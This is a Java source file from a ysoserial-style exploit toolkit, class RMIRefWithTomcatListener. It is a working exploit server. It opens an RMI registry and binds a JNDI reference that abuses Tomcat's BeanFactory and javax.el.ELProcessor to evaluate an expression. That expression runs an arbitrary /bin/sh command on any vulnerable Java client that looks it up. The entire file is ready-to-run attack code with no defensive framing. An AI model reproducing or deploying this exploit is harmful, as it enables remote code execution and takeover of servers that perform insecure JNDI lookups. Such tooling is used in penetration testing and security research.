package ysoserial.exploit;


import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import ysoserial.payloads.annotation.Dependencies;

import javax.naming.StringRefAddr;
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 *
 * JNDI Client needs Tomcat Environments
 * @author wh1t3p1g
 */
@Dependencies({"org.apache.tomcat:tomcat-catalina:8.0.36","org.apache.tomcat:tomcat-jasper:9.0.1"})
public class RMIRefWithTomcatListener {

    private int port;
    private Object payloadObject;
    private String factoryName;

    public RMIRefWithTomcatListener(int port, String factoryName, Object payloadObject ) throws NumberFormatException, IOException {
        this.port = port;
        this.payloadObject = payloadObject;
        this.factoryName = factoryName;
    }

    public static final void main ( final String[] args ) throws Exception{

        if ( args.length < 3 ) {
            System.err.println(RMIRefWithTomcatListener.class.getName() + "<registryHost:registryPort> <factory_name> <command>");
            System.exit(-1);
            return;
        }
        System.setProperty("sun.rmi.transport.tcp.logLevel","BRIEF");
        String[] registry = args[0].split(":");
        int registryPort = Integer.parseInt(registry[1]);
        String host = registry[0];

        String factoryName = args[1];

        final Object payloadObject = RMIRefWithTomcatListener.generate(args[2]);

        try {
            System.err.println("* URL: rmi://"+host+":"+registryPort+"/"+factoryName);
            System.err.println("* Opening JRMP listener on " + registryPort);
            RMIRefWithTomcatListener c = new RMIRefWithTomcatListener(registryPort, factoryName, payloadObject);
            c.run();
        }
        catch ( Exception e ) {
            System.err.println("Listener error");
            e.printStackTrace(System.err);
        }
    }

    public static Object generate(String command) throws Exception {
        ResourceRef ref = new ResourceRef(
            "javax.el.ELProcessor",
            null, "", "",
            true,"org.apache.naming.factory.BeanFactory",
            null);

        ref.add(new StringRefAddr("forceString", "KINGX=eval"));
        ref.add(new StringRefAddr("KINGX",
            "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
                ".newInstance().getEngineByName(\"JavaScript\")" +
                ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](" +
                "['/bin/sh','-c','"+ command +"'])" +
                ".start()\")"));

        return new ReferenceWrapper(ref);
    }

    public void run() throws Exception {
        Registry registry = LocateRegistry.createRegistry(port);
        registry.bind(factoryName, (Remote) payloadObject);
    }
}
